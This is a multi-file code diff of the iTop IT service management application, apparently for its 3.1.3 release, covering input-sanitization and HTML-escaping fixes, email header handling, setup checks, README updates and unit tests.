||||
__FILE__,
|
||||
'itop-tickets/3.1.1',
|
||||
'itop-tickets/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -16,7 +16,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-virtualization-mgmt/3.1.1',
|
||||
'itop-virtualization-mgmt/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-welcome-itil/3.1.1',
|
||||
'itop-welcome-itil/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<information>
|
||||
<version>3.1.1</version>
|
||||
<version>3.1.3</version>
|
||||
</information>
|
||||
|
||||
@@ -767,12 +767,12 @@ try
|
||||
$sClass = utils::ReadParam('className', '', false, 'class');
|
||||
$sRootClass = utils::ReadParam('baseClass', '', false, 'class');
|
||||
$currentId = utils::ReadParam('currentId', '');
|
||||
$sTableId = utils::ReadParam('_table_id_', null, false, 'raw_data');
|
||||
$sTableId = utils::ReadParam('_table_id_', null, false, utils::ENUM_SANITIZATION_FILTER_ELEMENT_IDENTIFIER);
|
||||
$sAction = utils::ReadParam('action', '');
|
||||
$sSelectionMode = utils::ReadParam('selection_mode', null, false, 'raw_data');
|
||||
$sResultListOuterSelector = utils::ReadParam('result_list_outer_selector', null, false, 'raw_data');
|
||||
$scssCount = utils::ReadParam('css_count', null, false, 'raw_data');
|
||||
$sTableInnerId = utils::ReadParam('table_inner_id', $sTableId, false, 'raw_data');
|
||||
$sSelectionMode = utils::ReadParam('selection_mode');
|
||||
$sResultListOuterSelector = utils::ReadParam('result_list_outer_selector', null,false, utils::ENUM_SANITIZATION_FILTER_ELEMENT_IDENTIFIER); // actually an Id not a selector
|
||||
$scssCount = utils::ReadParam('css_count', null,false,utils::ENUM_SANITIZATION_FILTER_ELEMENT_SELECTOR);
|
||||
$sTableInnerId = utils::ReadParam('table_inner_id', null,false, utils::ENUM_SANITIZATION_FILTER_ELEMENT_IDENTIFIER);
|
||||
|
||||
$oFilter = new DBObjectSearch($sClass);
|
||||
$oSet = new CMDBObjectSet($oFilter);
|
||||
|
||||
@@ -245,11 +245,11 @@ JS
|
||||
$aMoreInfoBlocks = [];
|
||||
|
||||
$oDevelopedQuerySet = new FieldSet(Dict::S('UI:RunQuery:DevelopedQuery'));
|
||||
$oDevelopedQuerySet->AddSubBlock(UIContentBlockUIBlockFactory::MakeForCode(utils::EscapeHtml($oFilter->ToOQL())));
|
||||
$oDevelopedQuerySet->AddSubBlock(UIContentBlockUIBlockFactory::MakeForCode($oFilter->ToOQL()));
|
||||
$aMoreInfoBlocks[] = $oDevelopedQuerySet;
|
||||
|
||||
$oSerializedQuerySet = new FieldSet(Dict::S('UI:RunQuery:SerializedFilter'));
|
||||
$oSerializedQuerySet->AddSubBlock(UIContentBlockUIBlockFactory::MakeForCode(utils::EscapeHtml($oFilter->serialize())));
|
||||
$oSerializedQuerySet->AddSubBlock(UIContentBlockUIBlockFactory::MakeForCode($oFilter->serialize()));
|
||||
$aMoreInfoBlocks[] = $oSerializedQuerySet;
|
||||
|
||||
|
||||
|
||||
@@ -343,6 +343,8 @@ function DisplayEvents(WebPage $oPage, $sClass)
|
||||
}
|
||||
}
|
||||
$sListener = $sListenerClass.'->'.$aListener['callback'][1].'(\Combodo\iTop\Service\Events\EventData $oEventData)';
|
||||
} else if (is_array($aListener['callback'])) {
|
||||
$sListener = $aListener['callback'][0].'::'.$aListener['callback'][1];
|
||||
} else {
|
||||
$sListener = $aListener['callback'].'(\Combodo\iTop\Service\Events\EventData $oEventData)';
|
||||
}
|
||||
|
||||
@@ -1165,6 +1165,7 @@ EOF
|
||||
*/
|
||||
protected function QuoteForPHP($sStr, $bSimpleQuotes = false)
|
||||
{
|
||||
$sStr = $sStr ?? '';
|
||||
if ($bSimpleQuotes)
|
||||
{
|
||||
$sEscaped = str_replace(array('\\', "'"), array('\\\\', "\\'"), $sStr);
|
||||
@@ -3229,10 +3230,11 @@ EOF;
|
||||
|
||||
$aEntriesPHP = array();
|
||||
$oEntries = $oDictionaryNode->GetUniqueElement('entries');
|
||||
/** @var MFElement $oEntry */
|
||||
foreach ($oEntries->getElementsByTagName('entry') as $oEntry)
|
||||
{
|
||||
$sStringCode = $oEntry->getAttribute('id');
|
||||
$sValue = $oEntry->GetText();
|
||||
$sValue = $oEntry->GetText('');
|
||||
$aEntriesPHP[] = "\t'$sStringCode' => ".self::QuoteForPHP(self::FilterDictString($sValue), true).",";
|
||||
}
|
||||
$sEntriesPHP = implode("\n", $aEntriesPHP);
|
||||
@@ -3267,7 +3269,7 @@ EOF;
|
||||
file_put_contents($sLanguagesFile, $sLanguagesFileContent);
|
||||
}
|
||||
|
||||
protected static function FilterDictString($s)
|
||||
protected static function FilterDictString(string $s): string
|
||||
{
|
||||
if (strpos($s, '~') !== false)
|
||||
{
|
||||
|
||||
@@ -1295,6 +1295,12 @@ EOF
|
||||
$aResult['checks'][] = new CheckResult(CheckResult::INFO, "MySQL server's max_connections is set to $iMaxConnections.");
|
||||
}
|
||||
|
||||
$iClusters = $oDBSource->GetClusterNb();
|
||||
if ($iClusters > 0) {
|
||||
SetupLog::Warning('Warning - Using Galera will cause malfunctions and data corruptions. Combodo does not support this type of infrastructure.');
|
||||
$aResult['checks'][] = new CheckResult(CheckResult::WARNING, 'Using Galera will cause malfunctions and data corruptions. Combodo does not support this type of infrastructure.');
|
||||
}
|
||||
|
||||
try {
|
||||
$aResult['databases'] = $oDBSource->ListDB();
|
||||
}
|
||||
|
||||
@@ -2,24 +2,72 @@
|
||||
|
||||
This script allows to install and update iTop via CLI.
|
||||
|
||||
For more information, see the official Wiki : [Automated installation [iTop Documentation]](https://www.itophub.io/wiki/page?id=latest:advancedtopics:automatic_install)
|
||||
For more information, see the official Wiki : [Automated installation [iTop Documentation]](https://www.itophub.io/wiki/page?id=latest:advancedtopics:automatic_install)
|
||||
|
||||
# unattended-install.php
|
||||
|
||||
## Usage
|
||||
|
||||
Execution of the unattended installation
|
||||
> Note:
|
||||
> Because the installation runs from the command line, make sure that the current user has enough rights to access the different locations and that the web server will be able to access the files and directories created during the scripted installation. In order to exactly emulate the behavior of
|
||||
the interactive installation it may be a good practice to run this installation from the user account used for running the web server process.
|
||||
|
||||
Launch the script with the following command: ```bash php unattended_install.php --param-file=fresh-install.xml ```
|
||||
|
||||
Where: `fresh-install.xml` is the response file containing your desired settings for the installation (there are 4 models available in the folder `xml_setup`: fresh-install.xml, itil-fresh-install.xml, itil-upgrade.xml, upgrade.xml)
|
||||
|
||||
Fresh installation parameters
|
||||
> Important:
|
||||
> In the case of a fresh installation (<mode>install</mode>), do not forget to complete below mandatory parameters before:
|
||||
|
||||
```xml
|
||||
<database>
|
||||
<server></server>
|
||||
<user></user>
|
||||
<pwd></pwd>
|
||||
<name></name>
|
||||
<db_tls_enabled></db_tls_enabled>
|
||||
<db_tls_ca></db_tls_ca>
|
||||
<prefix></prefix>
|
||||
</database>
|
||||
<url>
|
||||
</url>
|
||||
<graphviz_path>/usr/bin/dot</graphviz_path>
|
||||
<admin_account>
|
||||
<user></user>
|
||||
<pwd></pwd>
|
||||
<language></language>
|
||||
</admin_account>
|
||||
<language></language>
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
To get all available options of the script, you can perform the following command :
|
||||
```php unattended-install.php --help```
|
||||
|
||||
# install-itop.sh
|
||||
|
||||
## Usage
|
||||
|
||||
#install-itop.sh
|
||||
You can install your iTop by only using config-itop.php settings and run either
|
||||
|
||||
- a non-ITIL iTop fresh installation (use itil-fresh-install.xml to have ITIL modules instead)
|
||||
|
||||
```
|
||||
./install-itop.sh ./xml_setup/fresh-install.xml
|
||||
```
|
||||
|
||||
- a non-ITIL iTop upgrade (use itil-upgrade.xml to have ITIL modules instead)
|
||||
|
||||
```
|
||||
./install-itop.sh ./xml_setup/upgrade.xml
|
||||
```
|
||||
|
||||
- a specific iTop installation by providing both xml setup file
|
||||
in below example file provided is the one generated by iTop during last setup.
|
||||
in below example file provided is the one generated by iTop during last setup.
|
||||
|
||||
```
|
||||
./install-itop.sh ../../log/install-2024-04-03.xml
|
||||
```
|
||||
|
||||
@@ -27,6 +27,7 @@ use DBObject;
|
||||
use DBObjectSearch;
|
||||
use DBObjectSet;
|
||||
use Exception;
|
||||
use ExecutionKPI;
|
||||
use IssueLog;
|
||||
use MetaModel;
|
||||
|
||||
@@ -58,6 +59,7 @@ class ActivityPanelFactory
|
||||
*/
|
||||
public static function MakeForObjectDetails(DBObject $oObject, string $sMode = cmdbAbstractObject::DEFAULT_DISPLAY_MODE)
|
||||
{
|
||||
$oKPI = new ExecutionKPI();
|
||||
$sObjClass = get_class($oObject);
|
||||
$sObjId = $oObject->GetKey();
|
||||
|
||||
@@ -171,6 +173,8 @@ class ActivityPanelFactory
|
||||
}
|
||||
}
|
||||
|
||||
$oKPI->ComputeStatsForExtension(new ActivityPanelFactory(), 'MakeForObjectDetails');
|
||||
|
||||
return $oActivityPanel;
|
||||
}
|
||||
}
|
||||
@@ -45,33 +45,45 @@ class UIContentBlockUIBlockFactory extends AbstractUIBlockFactory
|
||||
* The \n are replaced by <br>
|
||||
*
|
||||
* @api
|
||||
* @param string $sCode
|
||||
* @param string $sCode plain text code
|
||||
* @param string|null $sId
|
||||
*
|
||||
* @return \Combodo\iTop\Application\UI\Base\Layout\UIContentBlock
|
||||
*/
|
||||
public static function MakeForCode(string $sCode, string $sId = null)
|
||||
{
|
||||
$oCode = new UIContentBlock($sId, ['ibo-is-code']);
|
||||
$sCode = str_replace("\n", '<br>', $sCode);
|
||||
$oCode->AddSubBlock(new Html($sCode));
|
||||
$sCode = str_replace("\n", '<br>', \utils::HtmlEntities($sCode));
|
||||
|
||||
return $oCode;
|
||||
return self::MakeFromHTMLCode($sId, $sCode);
|
||||
}
|
||||
|
||||
/**
|
||||
* Used to display a block of preformatted text in a <pre> tag.
|
||||
*
|
||||
* @api
|
||||
* @param string $sCode
|
||||
* @param string $sCode plain text code
|
||||
* @param string|null $sId
|
||||
*
|
||||
* @return \Combodo\iTop\Application\UI\Base\Layout\UIContentBlock
|
||||
*/
|
||||
public static function MakeForPreformatted(string $sCode, string $sId = null)
|
||||
{
|
||||
$sCode = '<pre>'.$sCode.'</pre>';
|
||||
$sCode = '<pre>'.\utils::HtmlEntities($sCode).'</pre>';
|
||||
|
||||
return static::MakeForCode($sCode, $sId);
|
||||
return self::MakeFromHTMLCode($sId, $sCode);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param string|null $sId
|
||||
* @param string $sCode
|
||||
*
|
||||
* @return \Combodo\iTop\Application\UI\Base\Layout\UIContentBlock
|
||||
*/
|
||||
private static function MakeFromHTMLCode(?string $sId, string $sCode): UIContentBlock
|
||||
{
|
||||
$oCode = new UIContentBlock($sId, ['ibo-is-code']);
|
||||
$oCode->AddSubBlock(new Html($sCode));
|
||||
|
||||
return $oCode;
|
||||
}
|
||||
}
|
||||
@@ -53,7 +53,7 @@ class BlockList extends UIContentBlock
|
||||
{
|
||||
return '$("#'.$this->sId.'").block();
|
||||
$.post("ajax.render.php?operation=refreshDashletList",
|
||||
{ style: "list", filter: "'.$this->sFilter.'", extra_params: '.json_encode($this->aExtraParams).' },
|
||||
{ style: "list", filter: '.json_encode($this->sFilter).', extra_params: '.json_encode($this->aExtraParams).' },
|
||||
function(data){
|
||||
$("#'.$this->sId.'")
|
||||
.empty()
|
||||
|
||||
@@ -7,7 +7,8 @@
|
||||
*/
|
||||
|
||||
use Combodo\iTop\Core\Authentication\Client\OAuth\OAuthClientProviderFactory;
|
||||
use Laminas\Mail\Header\ContentType;
|
||||
use Laminas\Mail\Header\InReplyTo;
|
||||
use Laminas\Mail\Header\MessageId;
|
||||
use Laminas\Mail\Message;
|
||||
use Laminas\Mail\Protocol\Smtp\Auth\Oauth;
|
||||
use Laminas\Mail\Transport\File;
|
||||
@@ -331,11 +332,11 @@ class EMailLaminas extends Email
|
||||
{
|
||||
$this->m_aData['message_id'] = $sId;
|
||||
|
||||
// Note: Swift will add the angle brackets for you
|
||||
// Note: The email library will add the angle brackets for you
|
||||
// so let's remove the angle brackets if present, for historical reasons
|
||||
$sId = str_replace(array('<', '>'), '', $sId);
|
||||
|
||||
$this->m_oMessage->getHeaders()->addHeaderLine('Message-ID', $sId);
|
||||
$this->m_oMessage->getHeaders()->addHeader((new MessageId())->setId($sId));
|
||||
}
|
||||
|
||||
public function SetReferences($sReferences)
|
||||
@@ -354,7 +355,11 @@ class EMailLaminas extends Email
|
||||
*/
|
||||
public function SetInReplyTo(string $sMessageId)
|
||||
{
|
||||
$this->AddToHeader('In-Reply-To', $sMessageId);
|
||||
// Note: Laminas will add the angle brackets for you
|
||||
// so let's remove the angle brackets if present, for historical reasons
|
||||
$sId = str_replace(array('<', '>'), '', $sMessageId);
|
||||
|
||||
$this->m_oMessage->getHeaders()->addHeader((new InReplyTo())->setIds([$sId]));
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -398,19 +403,6 @@ class EMailLaminas extends Email
|
||||
$oBody->addPart($oAdditionalPart);
|
||||
}
|
||||
|
||||
if ($oBody->isMultiPart()) {
|
||||
$oContentTypeHeader = $this->m_oMessage->getHeaders();
|
||||
foreach ($oContentTypeHeader as $oHeader) {
|
||||
if (!$oHeader instanceof ContentType) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$oHeader->setType(Mime::MULTIPART_MIXED);
|
||||
$oHeader->addParameter('boundary', $oBody->getMime()->boundary());
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
$this->m_oMessage->setBody($oBody);
|
||||
}
|
||||
|
||||
@@ -431,22 +423,13 @@ class EMailLaminas extends Email
|
||||
$oNewPart = new Part($sText);
|
||||
$oNewPart->encoding = Mime::ENCODING_8BIT;
|
||||
$oNewPart->type = $sMimeType;
|
||||
$this->m_oMessage->getBody()->addPart($oNewPart);
|
||||
|
||||
// setBody called only to refresh Content-Type to multipart/mixed
|
||||
$this->m_oMessage->setBody($this->m_oMessage->getBody()->addPart($oNewPart));
|
||||
}
|
||||
|
||||
public function AddAttachment($data, $sFileName, $sMimeType)
|
||||
{
|
||||
$oBody = $this->m_oMessage->getBody();
|
||||
|
||||
if (!$oBody->isMultiPart()) {
|
||||
$multipart_content = new Part($oBody->generateMessage());
|
||||
$multipart_content->setType($oBody->getParts()[0]->getType());
|
||||
$multipart_content->setBoundary($oBody->getMime()->boundary());
|
||||
|
||||
$oBody = new Laminas\Mime\Message();
|
||||
$oBody->addPart($multipart_content);
|
||||
}
|
||||
|
||||
if (!array_key_exists('attachments', $this->m_aData)) {
|
||||
$this->m_aData['attachments'] = array();
|
||||
}
|
||||
@@ -457,23 +440,8 @@ class EMailLaminas extends Email
|
||||
$oNewAttachment->disposition = Mime::DISPOSITION_ATTACHMENT;
|
||||
$oNewAttachment->encoding = Mime::ENCODING_BASE64;
|
||||
|
||||
|
||||
$oBody->addPart($oNewAttachment);
|
||||
|
||||
if ($oBody->isMultiPart()) {
|
||||
$oContentTypeHeader = $this->m_oMessage->getHeaders();
|
||||
foreach ($oContentTypeHeader as $oHeader) {
|
||||
if (!$oHeader instanceof ContentType) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$oHeader->setType(Mime::MULTIPART_MIXED);
|
||||
$oHeader->addParameter('boundary', $oBody->getMime()->boundary());
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
$this->m_oMessage->setBody($oBody);
|
||||
// setBody called only to refresh Content-Type to multipart/mixed
|
||||
$this->m_oMessage->setBody($this->m_oMessage->getBody()->addPart($oNewAttachment));
|
||||
}
|
||||
|
||||
public function SetSubject($sSubject)
|
||||
|
||||
@@ -768,6 +768,15 @@ JS
|
||||
*/
|
||||
protected function InjectRendererFileAssets(string $sClass, array $aAttributesCodesToDisplay, $oOutput)
|
||||
{
|
||||
// handle abstract class
|
||||
while(MetaModel::IsAbstract($sClass)){
|
||||
$aChildClasses = MetaModel::EnumChildClasses($sClass);
|
||||
if(count($aChildClasses) > 0){
|
||||
$sClass = $aChildClasses[0];
|
||||
}
|
||||
}
|
||||
|
||||
// create a fake object to pass to renderers for retrieving global assets
|
||||
$oItem = MetaModel::NewObject($sClass);
|
||||
|
||||
// Iterate throw attributes...
|
||||
@@ -776,10 +785,13 @@ JS
|
||||
// Retrieve attribute definition
|
||||
$oAttDef = MetaModel::GetAttributeDef($sClass, $sAttCode);
|
||||
|
||||
// make form field from attribute
|
||||
$oField = $oAttDef->MakeFormField($oItem);
|
||||
|
||||
// retrieve the form field renderer
|
||||
$sFieldRendererClass = static::GetFieldRendererClass($oField);
|
||||
|
||||
// retrieve renderer global assets
|
||||
if ($sFieldRendererClass !== null) {
|
||||
/** @var FieldRenderer $oFieldRenderer */
|
||||
$oFieldRenderer = new $sFieldRendererClass($oField);
|
||||
|
||||
@@ -592,6 +592,7 @@ EOF
|
||||
*/
|
||||
private static function GetDivAlert(string $message): string
|
||||
{
|
||||
$message = utils::EscapeHtml($message);
|
||||
return "<div class=\"ibo-csv-import--cell-error ibo-csv-import--cell-message\">$message</div>\n";
|
||||
}
|
||||
|
||||
|
||||
@@ -46,6 +46,8 @@ class ModuleService
|
||||
$sExtension = $this->GetModuleNameFromObject($oReflectionClass->getName());
|
||||
if (strlen($sExtension) !== 0) {
|
||||
$sSignature .= '['.$sExtension.'] ';
|
||||
} else {
|
||||
$sSignature .= '[core] ';
|
||||
}
|
||||
$sSignature .= $oReflectionClass->getShortName().'::'.$sMethod.'()';
|
||||
|
||||
|
||||
@@ -4,7 +4,6 @@
|
||||
|
||||
{# SET WIDGET #}
|
||||
{% set oDataProvider = oUIBlock.GetDataProvider() %}
|
||||
let optionsBeforeFilter;
|
||||
let oWidget{{ oUIBlock.GetId() }} = $('#{{ oUIBlock.GetId() }}').selectize({
|
||||
|
||||
{# Global options #}
|
||||
@@ -109,7 +108,7 @@ let oWidget{{ oUIBlock.GetId() }} = $('#{{ oUIBlock.GetId() }}').selectize({
|
||||
// Filter old options data to keep selected values
|
||||
// (options with force flag will be kept event if they doesn't be part of the current value)
|
||||
let options = Object.values(me.options);
|
||||
optionsBeforeFilter = options;
|
||||
me.optionsBeforeFilter = options;
|
||||
options = options.filter(item => (typeof(item.force) !== "undefined" && item.force === true) || aSelectedItems.includes(item['{{ oDataProvider.GetDataValueField() }}']));
|
||||
// Merge kept and new values
|
||||
options = $.merge(options, res.data.search_data);
|
||||
@@ -203,7 +202,7 @@ let oWidget{{ oUIBlock.GetId() }} = $('#{{ oUIBlock.GetId() }}').selectize({
|
||||
|
||||
onBlur: function(){
|
||||
this.clearOptionGroups()
|
||||
this.addOption(optionsBeforeFilter)
|
||||
this.addOption(this.optionsBeforeFilter)
|
||||
},
|
||||
|
||||
{# plugin combodo_add_button #}
|
||||
|
||||
@@ -41,6 +41,7 @@ use Combodo\iTop\Application\UI\Base\Component\PopoverMenu\PopoverMenu;
|
||||
use Combodo\iTop\Application\UI\Base\Component\Title\TitleUIBlockFactory;
|
||||
use Combodo\iTop\Application\UI\Base\Layout\Object\ObjectFactory;
|
||||
use Combodo\iTop\Application\UI\Base\Layout\PageContent\PageContentFactory;
|
||||
use Combodo\iTop\Application\UI\Base\Layout\UIContentBlockUIBlockFactory;
|
||||
use Combodo\iTop\Application\UI\Base\Layout\UIContentBlockWithJSRefreshCallback;
|
||||
use iTopWebPage;
|
||||
use LoginWebPage;
|
||||
@@ -355,6 +356,22 @@ $oDashletFieldset2->AddSubBlock($oDashletField4);
|
||||
$oDashletFieldset2->AddSubBlock($oDashletField5);
|
||||
$oDashletFieldset2->AddSubBlock($oDashletField6);
|
||||
|
||||
/////////
|
||||
// Code
|
||||
/////////
|
||||
|
||||
$oPage->AddUiBlock(TitleUIBlockFactory::MakeNeutral('Code examples (MakeForCode)', 2 ));
|
||||
$oCode1 = UIContentBlockUIBlockFactory::MakeForCode('function mean(int $a, int $b) {
|
||||
return ($a + $b)/2
|
||||
}');
|
||||
$oPage->AddUiBlock($oCode1);
|
||||
|
||||
$oPage->AddUiBlock(TitleUIBlockFactory::MakeNeutral('Code examples (MakeForPreformatted)', 2 ));
|
||||
$oCode2 = UIContentBlockUIBlockFactory::MakeForPreformatted('function mean(int $a, int $b) {
|
||||
return ($a + $b)/2
|
||||
}');
|
||||
$oPage->AddUiBlock($oCode2);
|
||||
|
||||
/////////
|
||||
// Pill
|
||||
/////////
|
||||
|
||||
@@ -169,6 +169,27 @@ abstract class ItopTestCase extends TestCase
|
||||
return $sAppRootPath . '/';
|
||||
}
|
||||
|
||||
private static function GetFirstDirUpContainingFile(string $sSearchPath, string $sFileToFindGlobPattern): ?string
|
||||
{
|
||||
for ($iDepth = 0; $iDepth < 8; $iDepth++) {
|
||||
$aGlobFiles = glob($sSearchPath . '/' . $sFileToFindGlobPattern);
|
||||
if (is_array($aGlobFiles) && (count($aGlobFiles) > 0)) {
|
||||
return $sSearchPath . '/';
|
||||
}
|
||||
$iOffsetSep = strrpos($sSearchPath, '/');
|
||||
if ($iOffsetSep === false) {
|
||||
$iOffsetSep = strrpos($sSearchPath, '\\');
|
||||
if ($iOffsetSep === false) {
|
||||
// Do not throw an exception here as PHPUnit will not show it clearly when determing the list of test to perform
|
||||
return 'Could not find the approot file in ' . $sSearchPath;
|
||||
}
|
||||
}
|
||||
$sSearchPath = substr($sSearchPath, 0, $iOffsetSep);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Overload this method to require necessary files through {@see \Combodo\iTop\Test\UnitTest\ItopTestCase::RequireOnceItopFile()}
|
||||
*
|
||||
@@ -206,23 +227,6 @@ abstract class ItopTestCase extends TestCase
|
||||
require_once $this->GetAppRoot() . $sFileRelPath;
|
||||
}
|
||||
|
||||
/**
|
||||
* Helper to load a module file. The caller test must be in that module !
|
||||
* Will browse dir up to find a module.*.php
|
||||
*
|
||||
* @param string $sFileRelPath for example 'portal/src/Helper/ApplicationHelper.php'
|
||||
* @since 2.7.10 3.1.1 3.2.0 N°6709 method creation
|
||||
*/
|
||||
protected function RequireOnceCurrentModuleFile(string $sFileRelPath): void
|
||||
{
|
||||
$aStack = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 1);
|
||||
$sCallerFileFullPath = $aStack[0]['file'];
|
||||
$sCallerDir = dirname($sCallerFileFullPath);
|
||||
|
||||
$sModuleRootPath = static::GetFirstDirUpContainingFile($sCallerDir, 'module.*.php');
|
||||
require_once $sModuleRootPath . $sFileRelPath;
|
||||
}
|
||||
|
||||
/**
|
||||
* Require once a unit test file (eg. a mock class) from its relative path from the *current* dir.
|
||||
* This ensure that required files don't crash when unit tests dir is moved in the iTop structure (see N°5608)
|
||||
@@ -240,26 +244,6 @@ abstract class ItopTestCase extends TestCase
|
||||
require_once $sCallerDirAbsPath . DIRECTORY_SEPARATOR . $sFileRelPath;
|
||||
}
|
||||
|
||||
private static function GetFirstDirUpContainingFile(string $sSearchPath, string $sFileToFindGlobPattern): ?string
|
||||
{
|
||||
for ($iDepth = 0; $iDepth < 8; $iDepth++) {
|
||||
$aGlobFiles = glob($sSearchPath . '/' . $sFileToFindGlobPattern);
|
||||
if (is_array($aGlobFiles) && (count($aGlobFiles) > 0)) {
|
||||
return $sSearchPath . '/';
|
||||
}
|
||||
$iOffsetSep = strrpos($sSearchPath, '/');
|
||||
if ($iOffsetSep === false) {
|
||||
$iOffsetSep = strrpos($sSearchPath, '\\');
|
||||
if ($iOffsetSep === false) {
|
||||
// Do not throw an exception here as PHPUnit will not show it clearly when determing the list of test to perform
|
||||
return 'Could not find the approot file in ' . $sSearchPath;
|
||||
}
|
||||
}
|
||||
$sSearchPath = substr($sSearchPath, 0, $iOffsetSep);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
protected function debug($sMsg)
|
||||
{
|
||||
if (static::$DEBUG_UNIT_TEST) {
|
||||
@@ -402,11 +386,11 @@ abstract class ItopTestCase extends TestCase
|
||||
*/
|
||||
private function GetProperty(string $sClass, string $sProperty): \ReflectionProperty
|
||||
{
|
||||
$class = new \ReflectionClass($sClass);
|
||||
$property = $class->getProperty($sProperty);
|
||||
$property->setAccessible(true);
|
||||
$oClass = new \ReflectionClass($sClass);
|
||||
$oProperty = $oClass->getProperty($sProperty);
|
||||
$oProperty->setAccessible(true);
|
||||
|
||||
return $property;
|
||||
return $oProperty;
|
||||
}
|
||||
|
||||
|
||||
@@ -417,7 +401,7 @@ abstract class ItopTestCase extends TestCase
|
||||
*
|
||||
* @since 2.7.8 3.0.3 3.1.0
|
||||
*/
|
||||
public function SetNonPublicProperty(object $oObject, string $sProperty, $value)
|
||||
public function SetNonPublicProperty($oObject, string $sProperty, $value)
|
||||
{
|
||||
$oProperty = $this->GetProperty(get_class($oObject), $sProperty);
|
||||
$oProperty->setValue($oObject, $value);
|
||||
|
||||
@@ -57,6 +57,8 @@ class DisplayBlockTest extends ItopCustomDatamodelTestCase
|
||||
*/
|
||||
public function testRenderChartAjax(string $sClassToDisplay, string $sAttributeToDisplay, string $sRelatedClass, string $sRelatedClassAttributeToEdit, string $sExpected, string $sNonExpected): void
|
||||
{
|
||||
$this->markTestSkipped("Waiting for N°7313 to be fixed, this test was made during the first attempt to resolve N°7313, but as it broke N°7592, N°7594, N°7600 & N°7605, we reverted the change until we make a proper fix in Expression::MakeValueLabel()");
|
||||
|
||||
$oUserRequest = new UserRequest();
|
||||
$oUserRequest->Set('title', 'MyTitle');
|
||||
$oUserRequest->Set('org_id', $this->getTestOrgId());
|
||||
|
||||
@@ -101,13 +101,14 @@ class BulkChangeTest extends ItopDataTestCase
|
||||
//$this->debug("sStatus:".$sStatus->GetDescription());
|
||||
$this->assertEquals($aResult["__STATUS__"], $sStatus->GetDescription());
|
||||
foreach ($aRow as $i => $oCell) {
|
||||
/** @var $oCell \CellChangeSpec */
|
||||
if ($i !== "finalclass" && $i !== "__STATUS__" && $i !== "__ERRORS__" && array_key_exists($i, $aResult)) {
|
||||
$this->debug("i:".$i);
|
||||
$this->debug('GetCLIValue:'.$oCell->GetCLIValue());
|
||||
$this->debug("aResult:".$aResult[$i]);
|
||||
$this->assertEquals($aResult[$i], $oCell->GetCLIValue());
|
||||
$this->assertEquals($aResult[$i], $oCell->GetCLIValue(), "Unexpected CLI result for cell " . $i);
|
||||
if (null !== $aResultHTML) {
|
||||
$this->assertEquals($aResultHTML[$i], $oCell->GetHTMLValue());
|
||||
$this->assertEquals($aResultHTML[$i], $oCell->GetHTMLValue(), "Unexpected HTML result for cell " . $i);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -374,6 +374,27 @@ class CRUDEventTest extends ItopDataTestCase
|
||||
$this->assertStringStartsWith('CRUD', $oPerson->Get('first_name'), 'The object should have been modified and recorded in DB by EVENT_DB_AFTER_WRITE handler');
|
||||
}
|
||||
|
||||
public function testAfterDeleteObjectAttributesExceptLinkedSetAreUsable()
|
||||
{
|
||||
$oPerson = $this->createObject('Person', [
|
||||
'name' => 'Person_1',
|
||||
'first_name' => 'Test',
|
||||
'org_id' => $this->getTestOrgId(),
|
||||
]);
|
||||
|
||||
$oFetchPerson = MetaModel::GetObject('Person', $oPerson->GetKey());
|
||||
|
||||
$oEventReceiver = new CRUDEventReceiver($this);
|
||||
// Set the person's first name during Compute Values
|
||||
$oEventReceiver->AddCallback(EVENT_DB_AFTER_DELETE, Person::class, 'GetObjectAttributesValues');
|
||||
$oEventReceiver->RegisterCRUDEventListeners(EVENT_DB_AFTER_DELETE);
|
||||
$oEventReceiver->RegisterCRUDEventListeners(EVENT_DB_OBJECT_RELOAD);
|
||||
|
||||
$oFetchPerson->DBDelete();
|
||||
|
||||
$this->assertEquals(1, self::$aEventCallsCount[EVENT_DB_AFTER_DELETE], 'EVENT_DB_AFTER_DELETE must be called when deleting an object and the object attributes must remain accessible');
|
||||
}
|
||||
|
||||
/**
|
||||
* Modify one object during EVENT_DB_AFTER_WRITE
|
||||
* Check that the CRUD is protected against infinite loops (when modifying an object in its EVENT_DB_AFTER_WRITE)
|
||||
@@ -881,6 +902,20 @@ class CRUDEventReceiver extends ClassesWithDebug
|
||||
$oObject->Set('first_name', 'CRUD_first_name_'.rand());
|
||||
}
|
||||
|
||||
/**
|
||||
* @noinspection PhpUnusedPrivateMethodInspection Used as a callback
|
||||
*/
|
||||
private function GetObjectAttributesValues(EventData $oData): void
|
||||
{
|
||||
$this->Debug(__METHOD__);
|
||||
$oObject = $oData->Get('object');
|
||||
foreach (MetaModel::ListAttributeDefs(get_class($oObject)) as $sAttCode => $oAttDef) {
|
||||
if (!$oAttDef->IsLinkSet()) {
|
||||
$oObject->Get($sAttCode);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @noinspection PhpUnusedPrivateMethodInspection Used as a callback
|
||||
*/
|
||||
|
||||
@@ -0,0 +1,116 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<itop_design xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="1.7">
|
||||
<classes>
|
||||
<class id="TestServer" _delta="define">
|
||||
<parent>cmdbAbstractObject</parent>
|
||||
<properties>
|
||||
<category>bizmodel</category>
|
||||
<abstract>false</abstract>
|
||||
<key_type>autoincrement</key_type>
|
||||
<db_table>test_server</db_table>
|
||||
<db_key_field>id</db_key_field>
|
||||
</properties>
|
||||
